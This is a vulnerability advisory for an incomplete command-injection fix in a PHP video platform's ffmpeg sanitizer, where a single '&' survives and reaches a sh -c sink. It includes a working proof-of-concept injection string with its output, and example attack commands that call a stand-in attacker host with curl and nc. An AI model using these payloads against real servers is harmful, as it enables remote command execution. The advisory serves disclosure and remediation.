PHP CVE-2026-55173

Summary

The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original - only the surviving metacharacter differs.

Verified at master HEAD.

The surviving gap

HEAD sanitizeFFmpegCommand (functions.php):

$command = str_replace('&&', '', $command);                    // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command);   // char class has no '&'
// then requires the result to start with 'ffmpeg'

A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.

Sink (unchanged)

plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:

$command = addcslashes($command, '"');   // line 686 - escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";  // line 705
exec($commandWithKeyword, ...);          // line 712 - PHP exec() runs via /bin/sh -c

The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.

Reachability

ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).

Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)

Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:

attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES   passes prefix : YES
final sh -c string:
  nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)

The sanitizer leaves & intact and the injected touch runs at the sink.

Impact

Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.

Remediation

Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set - but the denylist approach has now missed two metacharacters in a row ($() then &).